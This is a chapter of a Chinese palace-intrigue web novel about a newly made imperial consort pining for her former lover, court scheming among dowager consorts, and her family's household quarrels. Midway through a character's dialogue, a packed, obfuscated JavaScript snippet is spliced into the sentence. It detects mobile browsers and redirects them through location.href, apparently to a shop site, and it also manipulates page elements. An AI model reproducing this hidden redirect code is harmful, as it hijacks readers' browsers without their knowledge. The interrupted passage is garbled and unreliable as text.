“对对对,我自己听来的,就我自己无意中听到的。”翁美人如银铃般欢畅悦耳声落地,一个十四五岁模样的宫婢小跑到殿门前脆生生说:“美人,关雎宫出事了,霍秀仪违背陛下罚闭门思过的禁令偷溜出来,在关雎宫大闹后被太后强行押走,现在宫里都在传呢。” 翊善伯轻咳声,拿块糕点吃;翁美人对霍鹣娇真嫌无语:“说清楚,怎么回事?” “奴婢听闻是因太后没再给霍秀仪拨逾制用度之故。今早,陛下原本在关雎宫陪贵妃,穆国公他们刚走到关雎宫前请内侍通报,霍秀仪突然闯出来和她爹吵闹,逢太后到来,陛下罚也不是、不罚也不是,都只能避开当做不知道她违令偷溜出来。 陛下刚走,霍秀仪就趁太后和穆国公他们不备闯进关雎宫;奴婢听闻她闹得很难看,又要穆国公给她送比贵妃更多的零用又让她爹即刻给她升到正三品又要逼霍家不能再管贵妃,还寻死腻活砸坏正殿许多摆设,最后都是被打晕安静了,太后才将她押走。” 翁美人深呼吸再慢慢呼出浊气后让宫婢退下,估摸道:“没准霍鹣娇今年就会失宠了,穆国公的情面再大,陛下也没得容忍她这样张狂敢明目张胆公然违反君王的禁令。” 翊善伯轻轻摇头:“霍秀仪若再一味只顾私利而无家族大局,霍家舍弃她只在朝夕间;没有家族做保,她的前路就是个死字;念在贵妃今年进宫,大概也就明年吧。” 明年赐死吗?翁美人莫名心漏掉半拍:“霍鹣娇可是穆国公最疼爱的女儿,霍家既然重要得连强抢后位的罪过都能免,陛下最多不再宠她吧?她怎样也能在宫里安稳终老吧?” “穆国公昨日将他那位娉姨娘重打二十板。”翊善伯点拨道:“美人,自作聪明要不得,恃宠而骄同样要不得,您瞧穆国公作甚非得疼爱忤逆甚至妄想强压亲爹的女儿?” 呃?翁美人后知后觉想对哦,霍鹣娇这闹腾法可不就是在逼着穆国公非得按她心意吗?再疼爱闺女的爹也吃不消敢威胁妄想强压老爹顺从她的闺女,又不是只有霍鹣娇没别的儿女,穆国公吃饱撑得才能继续疼爱这种女儿啊;那,霍鹣娇明年真会被赐死吗? 小小的六品嫔御公然违抗皇帝罚闭门思过的禁足令还闹得阖宫尽知,念在太后和后族的情面就看皇帝肯不肯损自己的君威,肯就当做不知道没发生过,不肯那自然得处置。 穆国公霍秦川多滑溜啊,还能让皇帝给他记笔小黑账?!太后妹妹将霍秀仪带走,他还没问候过贵妃侄女就麻溜离开关雎宫跑帝王居住的皇极宫请皇帝陛下降罪。 正徽帝嬴忱璧带穆国公走在殿前广场,宫人和禁军都退得远远的,只他们君臣二人说话:“国舅认为朕该如何处置你的庶女才对朕对你都能妥当?朕想还是按国舅的建议办。” “禀陛下,霍秀仪罪当赐死。”穆国公霍秦川装得惭愧苦涩模样:“正月里您交代,念在老臣的情面愿意给臣这骄纵逾制失掉嫔妃本分的庶女最后机会,老臣已是感激涕零。 今日霍秀仪践踏您宽仁赐下的生机,老臣无地自容愧对陛下厚爱,哪有脸再求您宽恕?只是贵妃刚进宫就见血腥恐有损贵妃的福泽,老臣只得再舔脸求陛下就留她到明年吧。” “好!”嬴忱璧也没委婉:“朕就依国舅留她到明年,但朕总觉得今早霍秀仪出现的时机不寻常似乎背后还有推手,朕懒得费这点心思,国舅就帮朕和母后查查吧。” 霍秦川感激谢恩再恭敬应承,心里腹诽这是料定他也要查呢,皇帝可真会偷懒省事。 “圣人要调护国公回京改派蜀王和郢国公镇守北境,朕将整饬江南贪腐整顿沿海走私。”如此明媚灿烂的阳光底下呼吸都透着熨帖,嬴忱璧择日不如撞日就给穆国公丢两个雷,吓得穆国公差点没管理好脸部表情,皇帝冷不防得是要吓得他心惊肉跳啊。 “陛下,兹事体大。”太上皇动作也忒敏捷,皇帝应对得也忒灵活,这叫他情何以堪?霍秦川都想捂脸地想他都给护国公写信了,等护国公回京来碰面,他多不好意思。 嬴忱璧问:“沿海走私猖獗已成国之蠹虫,若不海禁,国舅有更好的整顿举措吗?” 霍秦川头疼:“陛下,可、可骤然调护国公回京会否草率?蜀王没有沙场御敌的经验,纵然有郢国公辅助他也未必就能镇守北境,若北境前线反被契丹压制,朝廷耗不起。” 君臣二人看似答非所问实则大家聊得很明白,嬴忱璧叹息:“朕知道,可圣人心意已定,国舅任兵马大元帅掌国家军事就和丞相还有兵部多费心吧,切莫让边境出岔乱。” “老臣职责所在,怎敢当陛下的费心二字,只是您?”霍秦川觉得他心肠还是不错的:“您可想在圣人的圣谕颁布前提前给护国公颁道密旨?护国公卸甲归来到底可惜。” “国舅送给魏王斟酌吧。”嬴忱璧看他,霍秦川颔首:“老臣明白,只是斗胆还想问陛下,您想派哪两位担整饬江南贪腐和整顿沿海走私的重任?这两件事可都烫手呀。” “晏霁之一人足以担起治贪与海禁的重任,圣人怕他年轻会失稳妥要先让他拟个章程,他告假在通县养病才耽搁住了。”嬴忱璧提示道:“江南的章程拟定,圣人就该颁旨了。” 霍秦川心底嘀咕皇帝用起情敌来可真顺手,现在的年轻人做情敌都这样融洽吗?他把这不算疑惑的疑惑压住再禀告昨日刚得到且商量出的讯息,他家商量下,主动禀告吧。 嬴忱璧惊得真又似懵圈又不敢相信:“魏王?贵妃五年前回京会找魏王求助?” “家父推测,灵渠当年会入撷芳馆应该不会只是凑巧。”霍秦川苦笑道:“请陛下海涵,贵妃五年前回京时没想找霍家又不能找您,她还熟悉的故人若找魏王也在情理中。” “魏王?细作?贵妃在英王府时有可能是在替魏王做细作?”正徽帝嬴忱璧捏紧拳头好半响消化掉这则猝不及防的消息,尽量平静确认:“贵妃在北境时受过牢狱灾?” 穆国公霍秦川低头应是,嬴忱璧心酸翻卷,闭闭眼平复好后问:“问不出什么人家?” “侄女是迷糊性儿,陛下放心,授康二十八年上半年被全府下狱的人家,定能查出来。” “罢了,贵妃心思开阔愿意提起往事时,朕问贵妃吧。”皇帝抬眸,遥望晴空湛蓝,他想北境的天空比皇城的天空澄澈高阔吧:天苍苍,野茫茫,风吹草低见牛羊。 72. 第72章 在皇宫内苑多不胜数的殿阁中,中宫皇后的坤宁宫气象若雍容华贵彰显睥睨宫闱之态,贵妃的关雎宫灿若瑰宝美不胜收极尽夺目;在移步换景繁花点缀的阳春韶光里,关雎宫内重重殿阁琼楼、假山湖泊高台厚榭错落有致宛然神仙居。 霍灵渠一袭橘红金丝织锦宫裙倚在湖畔凉亭的鹅颈椅中,鸦青的秀发绾做惊鹄髻,鬓间珠玉争辉仿佛在凉亭荫蔽处仍有阳光照射,可惜她的心情与她光鲜亮丽的装扮截然相反。 被金乌照耀得波光粼粼的湖面上几瓣粉艳花瓣逐水流,三两锦鲤簇着花瓣摆尾打转,她倚在鹅颈椅中木然垂望湖面景致,木然得近乎像走神魂游甚至像没有喜怒生趣的颓废。 皇帝走前劝她莫与霍秀仪碰面只管让穆国公他们处理,她就来花园里看风景,丝毫没有观赏风景的兴致也仍然摆副赏景的模样,更没兴致叫个宫娥跑正殿瞧瞧他们走了没。 霍漓江处理好关雎宫正殿的狼藉后寻至花园湖畔找到贵妃闺女,将陪护的宫人们遣退,他走进凉亭瞧着闺女满脸哀苦悲情都让他觉得造孽了;站在旁边半响都没被察觉,只得堵在闺女眼前挥挥手叫她回神:“想晏霁之那混球还是想北境的情郎呢?” “晏霁之~~”霍灵渠闷闷的也实在,对爹爹既没有久别团聚的悲喜交集热泪盈眶也没有相隔十多年的陌生疏离依然亲切熟稔如往昔童年,她心里不舒服哪给爹爹装得出笑脸。 “想藕断丝连?”可真是枯萎得比枯掉的花还萎,霍漓江瞧他闺女的相思病不轻啊。 “我母亲刚死的时候你什么心情,现在我就什么心情,你那时还藕断丝连得起来吗?”霍灵渠斜眼爹爹批判愣是溢出股童年撒娇的意味,霍漓江头痛讨饶:“我的闺女啊,进宫而已有那么苦大仇深吗,还要拿你母亲死时来做比? 你又不是没进过宫,你童年时每年都有三四个月住宫里,皇宫差不多都是你第二个家;你想想你小时候在宫里玩得多欢喜,现在的皇宫还是你当年常住常玩的皇宫呀。” “以前我是娘娘的侄女,如今我自己做娘娘。”霍灵渠嫌她爹瞎比较:“能一样吗?” 霍漓江摊手:“那没办法,爹再有本事也没本事把你变成孩童,你拣爹能解决的说。” “晏霁之怎么样?”霍灵渠眉眼悲戚戚:“你是过来人,你有空多开解开解他。” “你跟爹说实话,你有多喜欢那混球,你估计过多久能彻底忘记他?”霍漓江正经问,霍灵渠摇头:“我不觉得我喜欢他,但他对我很好又说喜欢我,我自己都没料到我会想他,可能是耳鬓厮磨多年戛然分离不适应的缘故,总归爹爹你帮我多宽慰宽慰他吧。” 霍漓江就有点担心他闺女动情了偏偏自己没意识到:“那么你进宫后是只想念过晏霁之还是也想念北境的情郎?你不觉得你喜欢晏霁之,那你觉得你喜欢北境的少年郎吗?” “喜欢呀。”霍灵渠没察觉她爹的深意:“上回想起他是小祐生辰时,进宫后没想过。” “你进宫后只想念晏霁之是吧?”霍漓江再确认,闺女再傻不愣登地应承,他糟心啊:“灵儿别嫌爹问得私密,你认真想想如果那混球今后想跟你纠缠、你能扛得住吗?” 霍灵渠抿抿唇,沉吟思虑会儿后否定:“我拗不过他的。” 爱情的情殇有多痛彻心扉,霍漓江尝过情殇的苦,宁可女儿终生不懂爱情的滋味,因而自灵渠幼年懂事起霍家就在引导着断离隔绝她将来情窦初开时会对男子怦然心动的可能。 自己闺女自己清楚,哪怕女儿离家十多年,霍漓江也很肯定:有亲情能填满的爱、见识过世间的精彩不会再被谁吸引、自幼灌输她不必在意旁人,足以令灵渠抛掉对爱情的遐想,哪怕有能让她喜欢的男人也就是俩人玩得高兴而非能牵动她的小女儿家心肠。 何况灵渠心性外柔内刚,她性情中有很坚强甚至坚硬的坚持,任何事只有她狠不下心而绝没有她会拗不过谁。灵渠能不知秽乱宫禁有多惨烈,这都能令她做不到拒绝吗?! “如果是北境的那位和你重逢后还想和你纠缠,你能扛住吗?”霍漓江真怕闺女说能,结果霍灵渠真不负她爹担忧且毫不犹豫:“能呀,他不会勉强我也勉强不了我。” 那么闺女你对晏霁之为啥不能强硬呢?霍漓江不想再深究了,既然他闺女自己觉得不喜欢晏霁之又何必多事;既不喜欢,熬过最初分离时因不适应带来的相思后自会慢慢忘掉。 “混球昨日清早就告假离家跑通县了,英王妃姐妹昨日在佟家商量出个对策,要逼混球利用你帮佟妙兮做淑妃,由佟妙兮做淑妃后哄皇帝给佟老太母女恢复诰命、帮霍振羽拿爵位以及把佟梦奭复起;晏霁之若不肯,英王妃就给他定亲让他娶钟氏女。” “钟氏女?”霍灵渠错愕得近乎不敢信:“钟姨娘的钟家?” “对啊,佟老太的娘家,还能有哪家钟家?”霍漓江讥讽:“佟梦奭被罢官后,佟老太恨得估计连生吞活剐这外孙的心都有;爹打量这应该不只是那母子的威胁而是他们打定主意要逼混球娶钟家女还会挑个最糟糕的塞给他,真是不把佟家作到绝路就不罢休。” 霍灵渠想问英王妃就同意这种荒唐事又想英王妃连状告亲儿不孝都做得出还能不允么,可迟疑过后仍想要个明确答案:“英王妃就真的不在意把亲骨肉毁掉吗?” “佟家什么德行?佟梦娴恐怕都已经被娘家教得把亲骨肉~逼死都不会在意,这还是在没损害她自身利益的前提下;而今她被褫夺诰命,可损伤她的利益了。”霍漓江夸张点比喻:“如果害死晏霁之就能令她和佟家好过,你看英王妃做不做得出来?!” 霍灵渠沉默几息,沉默得能盖掉讽意而像淡淡叙述:“二十多年,霁之庆幸他很自爱,在他还曾渴望母爱的岁月里也从来不曾因渴望母爱而真正委屈自己。 佟家教导佟梦娴她生的孩儿就该对她卑躬屈膝千依百顺,她顺服娘家心意,可她自己就能愿意把她的所有都奉献给娘家让娘家对她予取予求吗?霁之观察过,她做不到的。” “当然做不到,英王妃嘛?色厉内荏,对娘家言听计从是娘家教得好也是她依赖娘家,可她若在婆家受够磨搓还会横得起来吗?但凡晏家肯下狠手,能把她整治得连鹌鹑都不如。”霍漓江哼笑:“小火慢炖软刀割肉,不是晏家好性儿而是等着混球死心呢。” 霍灵渠忽就想起年前晏霁之曾言‘我若向着她,她能有命活到现在吗?若非我立得住,十年前她的坟头就已经长草。’最讽刺的恐怕也莫过于此吧,英王妃佟梦娴在百般伤害的亲骨肉是世间最在意她更是世间唯一能给她保命的人。 心中情绪稍微大点,想晏霁之的情绪波动超出控制,霍灵渠烦闷得都想骂造孽了,他们离别前太刺激害现在她真的不适应突然没男人,心里想他连身子都想他…… 霍漓江看他闺女的相思病真不轻啊:“你祖母伯母和大姐想明早进宫来看你,但爹爹看你这副萎靡样大概除了情郎谁都没心思见吧?” “我心里闷闷的像有块大石堵着,又烦得谁都不想理会,最好关雎宫的宫人全都走,就我自己独自住。”霍灵渠苦恼道:“还什么都提不起劲儿,连给姑母请安都提不起劲。” “你知道是什么缘故吗?”霍漓江逗逗闺女,霍灵渠想哭:“我想晏霁之。” 我滴个娘啊!霍漓江险些扶额:“你想男人都想成这副德行还觉得不喜欢那混球?” “是不喜欢呀,我和他几乎都是我迁就他、我哄他高兴,他哄我的次数都能忽略。有时候他真惹我生气羞恼不痛快,我还能主动恶心他。”霍灵渠很明确:“我和他在一起都没怎么高兴欢喜过,最多也只是我过得安然舒心,我怎么可能喜欢他?” 幸亏灵渠对喜欢的理解是俩人要玩得高兴,霍漓江略微好奇:“你怎么恶心他?” “吻他呀。”霍灵渠美眸沁出笑意,眉梢不自觉扬起小小的骄傲得意,小表情可谓生动:“他那人挑剔得要命,很多我看来都没什么大不了的小事都能惹得他嫌恶犯恶心。 皇帝要册封我做贵妃、我和他挑明身份前,他从来没吻过我双唇,这还不容易猜吗?他厌恶以唇相触呗,每每他惹得我很生气很羞恼时我就吻他,看我不恶心死他!” 我的傻闺女哎!!霍漓江真想捂脸,被迫试探道:“若是北境的情郎出现,想见吗?” “不想,我现在只想见晏霁之。”霍灵渠再度情绪低落又猛然愤愤痛骂:“爹您说得对,晏霁之他就是个混球!”分开了都不让她安生,闹得现在她浑身吃不消想他想得要命。 霍漓江数落:“看看你这副德行,你还能应付得了皇帝吗?” “谁要应付,昨晚我就赶他,赶两遍都没赶走,他非要留着看我的冷脸,应付他作甚?”偏偏皇帝好脾性愿意看贵妃的冷脸,霍灵渠都嫌:“我还不乐意他堵在我眼前呢。” “好好,等灵渠心情好些,爹会叮嘱好你姑母别来扰你清净,但爹听说陛下这两日宿在关雎宫是睡软塌?”霍漓江琢磨,霍灵渠怏怏:“他自愿的,我可没逼他。” “你觉得皇帝对你像是有一丝真心吗?”闺女的直觉准不准不重要,她觉得就行了。 “没有!”霍灵渠判断道:“我觉得皇帝对皇后挺有真心的。” 霍漓江觉得可新鲜了:“爹可是听说陛下同意了,贵妃每日清晨不必向皇后请安,这可是在帮你打皇后的脸,你哪里看出来皇帝对皇后比对你有真心?” “皇帝登基前就对郭皇后的品性很清楚可还愿意让她再生养,皇帝登基后,既宽容皇后对他的嫌恶又关怀担心郭氏坐后位将会是死路,苦心孤诣要帮媳妇找出路。”霍灵渠总结:“皇帝这样悉心呵护妻子周全岂能没真心?我觉得他真在意郭皇后吧。” 霍海啸清点整肃好贵妃的库房,寻至凉亭恰好听到妹妹的猜测,进凉亭和叔叔对视眼,他把怀抱的两只木箱放在石桌上温声叮咛:“一匣是银票,一箱是库房的账册清单和钥匙。家里还想安排几个会功夫懂医理的女死士进关雎宫,灵儿要吗?” “你们和皇帝商量吧,关雎宫的宫人都是听他吩咐不是听我。”霍灵渠又蔫蔫赶道:“爹和大哥若是没事,我就不留你们了,想在皇宫里用午膳去长春宫找姑母。” “这丫害相思病想情郎呢,现在谁都不想理会就想见情郎。”霍漓江给侄儿解释声再谴责半死不活样的闺女:“爹和你大伯大哥大清早来给你送金银财宝,你好意思赶我们?” 霍灵渠好意思的:“祖父说灵渠是小宝贝,小宝贝现在不舒服没心情给你们管饭。” “行!你行!”霍漓江服道:“爹和你大哥走,你悠着点别让皇帝逮到你这副死样。” “被逮到又怎样,他不清楚我和晏霁之的过往吗?是我求着他要做贵妃吗?我巴不得和他相看两厌呢,我又不求皇帝的宠爱,最好他永远不踏进关雎宫。” 好嘛,当爹和做哥哥的忙活个清早连顿午膳都没蹭到还得反过来宽慰满心躁乱的贵妃,给她掉半箩筐的安抚劝慰总算能稳住点贵妃的情绪后再离开。走出关雎宫,霍海啸推测:“像是比昨日傍晚的消沉要好些了,但也有可能是见到娘家人之故。” “就怕还有得磨,但也庆幸童年的教育没白费,灵儿现在对晏霁之所有的想念在她看来就只是因为他们突然分离不适应而造成,熬过这场相思病就能慢慢遗忘。” 叔侄俩刚走小段路遇到往关雎宫赶的霍秦川,相互简单交流下情况同往太后的长春宫。 当前在皇宫中养老的太妃们有五十多位,几乎是皇帝后妃数的七倍,撇除太上皇驾崩之后没生育过和做嫔妃时没坐上一品位置的太妃们将前往皇家寺庙落发出家的忧苦,幸事可能是都已不是青葱年华也都已经磨平活泼纯真的棱角能沉稳得住吧。 毕竟太上皇在授康二十八年禅位,禅位前,授康二十六年选入宫的年轻太妃们而今都陪在太微宫还能有怀胎的机会;而太上皇的嫡长子悼太子薨后取消过一届选秀,留在皇宫里的太妃们至少都已在深宫内苑沉浮十余载经熬过深宫中太多的人情冷暖。 在太后的长春宫用过午膳,穆国公霍秦川带霍海啸前往芷筠斋查霍秀仪今早的不寻常,没查前他猜测应该和皇帝的嫔妃们没牵扯而与某位太妃有点联系,哪想盘查大半时辰,第一位被牵出来的是皇后,郭皇后摆在台面做箭靶,背后才牵出太妃的影子。 “禀陛下,椒房殿的大宫女荔黛手下一名叫可眉的宫娥昨夜进过斋筠斋,在那可眉宫娥进芷筠斋前曾有阮太妃身边名叫笑莺的宫婢与荔黛在雨花阁附近碰面,相谈大约两刻钟。 皇后娘娘必定是被奸小蛊惑才行此偏差之事,只是老臣想不出阮太妃鼓动皇后的原委,故而再往深处查探,查到昨日午后阮太妃曾与鞠太妃游园赏花,此事究竟到鞠太妃为止还是鞠太妃背后还有人?请陛下恕罪,老臣无能查不出来。” “知道了。”正徽帝嬴忱璧淡淡道:“贵妃不舒服吗?国舅怎么没在关雎宫用午膳?” 穆国公霍秦川煞有其事:“禀陛下,兴献侯问贵妃可觉得陛下对娘娘有真心,贵妃认为陛下您对皇后娘娘真情厚爱而矢口否认陛下您对贵妃会有真心。 贵妃的理由是,陛下您登基前就对媳妇的品性很清楚可仍然愿意再让郭皇后怀胎生养;您登基后既对皇后异常宽容又关怀担心郭皇后坐凤位将会是死路,苦心孤诣帮媳妇寻出路。贵妃娘娘觉得陛下如此悉心呵护妻子周全岂能没真心?陛下真在意郭皇后吧。” 嬴忱璧被呛得险些戳到肺管,手抵唇轻咳下,展笑道:“朕想起来,昨天傍晚,贵妃就曾因误会朕不在意她而和朕闹过小性子,呃…这样吧,朕现在就去看看贵妃。” “陛下,请陛下海涵,贵妃被家父惯得小脾气有点重。”穆国公忙阻拦,据他弟弟描述,贵妃这相思病重得真不好让皇帝看见:“娘娘正在闹别扭恐冲撞陛下,恳请陛下念在太后的情面就允准让贵妃冷静几日,老臣和兴献侯必定尽快开解贵妃。” “贵妃误解朕而和朕耍小性子也在情理中,朕明白,无妨。”嬴忱璧站起来作势要走,穆国公连忙再再阻拦:“陛下恕罪,晌午前贵妃将她父亲兴献侯都给赶走了,娘娘眼下既感前景迷茫深宫煎熬又被堂妹霍秀仪伤了心,真恐不能伴驾,请陛下恕罪。” 嬴忱璧私心里很想陪贵妃,但穆国公就差明言贵妃不愿意见他;他更头疼贵妃的理解,贵妃真的没有故意误解他吗?皇帝他便再按贵妃的逻辑捋捋想找出悖论…… 推敲考量番后没查出逻辑问题反而好像真能推出那结论?!正徽帝嬴忱璧莫名扎心,重新落座端起茶盅浅浅抿口,很突兀地问:“山西巡抚和佟尚书是亲家?” “禀陛下,是,佟尚书的嫡长孙女嫁的正是山西巡抚的嫡幼子。”隅中时他禀告想调任佟梦佶为茂县县令以及霍家上半年会送霍蓁蓁出阁,皇帝没表态还以为就过了呢,穆国公也仿佛无意:“正徽三年年初朝廷选拨新任吏部尚书时山西巡抚还很有意向,可惜了。” “朕听闻淄州府尹竟敢征调百姓私挖铜矿。”嬴忱璧放下茶盅,问:“有这回事吗?” 淄州府尹佟梦骜,霍振羽兄妹的嫡亲二舅。穆国公霍秦川利索跪地请罪:“禀陛下,是大半年前百官曾推举老臣的侄女霍蓁蓁为继后的时候,佟梦骜以为外甥女即将荣登皇后宝座而得意忘形蔑视朝廷法度闯下大祸,霍家未能及时察觉禀明陛下,请陛下降罪。” “私自征调百姓私挖铜矿是什么罪过?”嬴忱璧问,穆国公答:“当判斩刑!” 正徽帝嬴忱璧状似不懂:“淄州府尹不懂吗?为何还能犯此大罪?国舅又何以想调他的庶弟任茂县县令?佟梦骜的罪行捅出来,佟尚书都至少得被罢官,佟梦佶能逃得掉吗?” 穆国公霍秦川揣测道:“老臣猜或许是佟梦骜自视甚高却被嫡亲兄长压制而愤恨之故,老臣耳闻过当年佟梦骜科考未能高中进士就是因嫡亲兄长只考中举人而被迫藏拙,佟梦佶科考时未曾受到嫡长兄的影响只因他与佟梦奭年的岁相差够大。 一母同胞的亲兄弟,仅仅是考个科举,佟梦奭就能如此压制亲弟弟,佟梦骜多年积怨的痛恨有多深可想而知;且他们兄弟的性情多少都有点随母亲,佟老太太就是个目空一世的,昨日还在和她亲生的儿女们商议逼迫英王世子助她的二孙女做淑妃。” “淑妃?”嬴忱璧似恍然想起:“贵妃未落定前,佟家很想让佟二姑娘做贵妃吧?” “禀陛下,确实有这回事,这不,陛下您册封了贵妃,佟老太太就又打淑妃位的主意,想着她的孙女佟妙兮做淑妃后就哄君王给她恢复诰命再将佟梦奭复起。”穆国公装腔可怜:“近几年过得太顺纵得佟家不知天高地厚,陛下再宽仁又还能宽限几年? 老臣想佟梦佶到底是个好孩子,姻亲一场,老臣也算看着他长大,多少不忍心他后半生就被嫡母和嫡兄毁掉,把他调到茂县好歹能帮他避开,往后的路就看他自己的造化了。” 调令的用意是绕不开想保住佟梦佶,嬴忱璧就当认同了,斟酌问:“山西巡抚呢?” “禀陛下,佟梦骜的嫡长女嫁给山西巡抚的嫡幼子已经两年多仍未有孕,前年,佟梦骜强借李家之势升任淄州府尹后李家曾派过族人来京中向兴献侯和英王打探佟家的行事作风。”穆国公笑得意有所指:“佟尚书对姻亲做惯的顺手之举,哪还能想到会遭反噬?” 嬴忱璧凤眸微眯忽而感慨:“山西巡抚出自赵郡李氏望族,赵郡李氏望族繁盛几百年,圣人向来优待那几家历经几朝的老世家;禀告过太上皇,国舅就让吏部派调令吧。” “老臣遵旨!” 穆国公在御前禀奏完毕顺利告退带弟弟和儿子出宫,只是回到家他就没那么顺心了。 他们回到霍家已近日薄黄昏,红日的光辉都在想悄然给屋檐碧瓦染层黄晕,多美好啊,霍家迎接他这位当家人的就是些糟心的烂账!穆国公想他还是找老爹避避吧。 今早,娉姨娘继续寻死腻活闹绝食,霍舒窈挺孕肚回娘家来,霍鸳娇把儿子派过来帮她生母出头大闹霍家,闹得霍舒窈真想把这八岁的小屁孩扔到府外滚几圈,霍六爷又以比昨日更猛的火力搅得全府鸡犬不宁四处狼藉以及又和嫡兄霍雄鹰大打出手。 一整日,霍桑柔就抱娃看热闹,穆国公夫人婆媳皆保持谦让,老太爷在前院懒得搭理;因此全府都等着穆国公回府来主持大局呢,连他八岁的外孙都还耗着要他给娉姨娘赔罪道歉并发誓绝不再犯,霍秦川也真的好意思美其名曰:他要与老父议事故让霍海啸处理。 “海禁、整饬江南?派晏霁之个娃娃一肩担?”霍擎老太爷靠在庭前的藤椅里摇啊摇,可略带笑意的语调却未被摇荡得悠扬:“陛下的心思城府都快超出圣人的预想了吧。” “终归是劝动太上皇给咱家报仇的机会,孩儿自问可没这本事,毕竟是皇帝的好意。”穆国公霍秦川笑意达眼底:“虽然是把这场风波移到江南,虽然会让霍家大出血。” 霍漓江已经麻溜回他自己屋里休息,霍擎冷笑:“你们哥俩如果查到了庄太妃头上,凭她就能在我霍家整出这种大案?世间几人能做到把我霍家的掌珠掳走后还能让霍家不起疑?若非对霍家的防卫足够清楚,谁能做到?若是谁都能做到,我霍家不早成筛子了?!” “爹您是指……已故的老郢国公?”霍秦川怔愣下忽如被打通任督二脉般惊恍:“对,晏霁之传给霍家指向郢国公府的消息应当没有错,是郢国公府在和庄太妃合谋?” “老爹我想着鞠太妃在授康二十一年生的十皇子未满三岁就夭折是不是真有点蹊跷?咱家就腾出手来帮郢国公府查查。”霍擎叮嘱,霍秦川眸光犯冷:“爹放心。” “庄太妃给圣人送了盒金丝蜜枣?”霍擎再问,霍秦川应:“是啊,这还有个典故呢,孩儿记得是授康十五年秋末,圣人食欲不佳,庄淑妃带着儿女们给圣人做蜜枣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459264|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连才一岁多的六公主都参与了,授康十五年,或许是圣人对庄氏最有依赖的时候。 毕竟,当时圣人还没有走出温献皇后薨逝的悲痛,放眼整个后宫,还真是就只有庄淑妃多少还能给他一种是家人的慰藉,庄氏自己想必也甚是清楚吧。” 霍擎怡然笑起来:“可惜啦,你妹夫今时今日对庄氏若还是在授康十五年时的心境,这盒金丝蜜枣没准还真就能打消掉他的疑心,真可惜了。”倏然间,霍擎语气急转,面冷霜寒:“你看,圣人会相信仅凭庄氏自己就能在我霍家办成这桩大案吗?” 霍秦川微怔,猜着老父的言中意有点不可思议:“爹您觉得圣人也会怀疑鞠家?” “为啥不怀疑?他若是连庄氏几斤几两都摸不清楚,现如今高居长春宫的还能姓霍?”霍擎想想还真是想乐呀:“鞠老头啊鞠老头,真难为他如此苦心孤诣。” 霍秦川再怔了怔猛然警觉:“爹,北境战事终结,郢国公再返回京畿时?” 霍擎意味深长地看大儿一眼,没有接话,只笑悠悠道:“还有啊,宝儿觉得陛下对皇后怪深情厚爱的嘛,看法很新颖但真不能说宝儿在瞎猜。 你就让巨浪找他连襟拿件晏霁之的旧衣来送进宫去吧,叮嘱好你妹妹要做得不深不浅,保证得让皇后和令愔夫人还有鞠太妃都知道,试试吧。” 穆国公霍秦川也笑:“孩儿明白,爹您放心。” 待他收到霍海啸拿绸布把庶妹生的外甥绑起来塞进马车里送走的消息,他笑意都没变;当然更清楚这对于娉姨娘他们相当于彻底捅马蜂窝了,明日又要被搅得家宅不宁。 果然第二日清早,霍鸳娇顶着鞭笞未愈的伤亲自赶回娘家,发飙整上午甚至多番和嫡姐霍舒窈动手推搡都没把她爹从衙门叫回来;午后,她就把生母和同母弟弟都接回婆家。 莫说规矩,出嫁的姑奶奶把生母接到婆家是多打嫡母的脸啊,此事几乎瞬间就传遍,看热闹的看客们看得心潮澎湃,霍舒窈可是醉了,霍雄鹰更是把白眼翻到天灵盖了。 连穆国公的众妾室通房都受不了了,娉姨娘和二姑奶奶莫非已经恃宠生骄得连谁靠谁都眼瞎心盲看不清楚了吗,还真以为穆国公没有她们会不行吗,竟敢妄想要让穆国公亲自到懋郡公府接个小妾?!娉姨娘有种就别灰溜溜溜回来,留在懋郡公府养老吧。 而霍家的热闹传进皇宫里,不知多少位太妃和宫人们都感叹过:真不愧是亲生的。 正六品秀仪配享十名宫人服侍,霍太后把拨给霍秀仪的逾制用度撤掉后,在霍秀仪大闹关雎宫后又把多拨给她的宫婢们全部撤掉,现在十名宫人看顾她一人竟然还有些降不住;芷筠斋里时时摔摔打打,这闹腾劲儿把皇帝初一没踏足椒房殿的事都给遮盖住了。 皇帝前朝事忙,有时顾不得特意走趟椒房殿留宿,这也不是什么新鲜事,谁也没在意。 皇宫众人就看陛下连续三日没踏足后宫后,在初四的傍晚走进令愔夫人的钟萃宫,又在初五留宿拾翠阁陪伴有孕的翁美人,初六轮到新封的霍贵妃;再想感叹时发现没甚可感叹,令愔夫人和翁美人本就最得宠,新封的霍贵妃初来乍到能否越过她们都属正常。 窗台前的花觚里摆着几枝萎蔫的桃花枝,映在夕阳余晖的里还能辨出花瓣枯黄的焦痕。正徽帝嬴忱璧走进寝殿看见贵妃抱着她那个包裹坐在梳妆台前,枯萎的花枝那么醒目。 “国舅和朕说,想送四个懂医理会点功夫的婢女进宫来照顾贵妃,贵妃想要吗?” “能有我做主的资格吗?前天爹爹和姑母来看我,我陪他们在花园里走了走,顺手摘回捧桃花摆花觚里想瞧点鲜活的生机,可花枯掉了,也没一个宫娥想到该把枯萎的花换掉,这是对贵妃不上心吗?不是,是宫里在传霍家死期不远矣,谁懒得理会我。” 嬴忱璧忽然就有种说不出的心酸:“朕…朕没在初二就回来是怕太刻意,贵妃刚进宫,处处都太张扬也不好,所以朕想缓几日,不会引宫闱注意再来关雎宫。我没想到这些天宫人们竟敢怠慢你,朕等下就处置,贵妃放心,今后不会再有宫人胆敢再怠慢贵妃。” “陛下若问我的意见,我不要,省得好好的丫鬟进来受排挤。”霍灵渠死气沉沉地嘲讽:“杖毙这群宫人又如何?还不都是揣摩皇帝的态度行事么。” “朕没有,朕真的没想到,朕对贵妃真是真心,朕可以发誓。”嬴忱璧心中发苦得难受:“贵妃想让朕怎么做?但凡朕能做得到,朕全都听贵妃的,好不好?” 霍灵渠闭眼:“臣妾不舒服,短期内不能伴驾,陛下请走吧,省得过病气给您。” 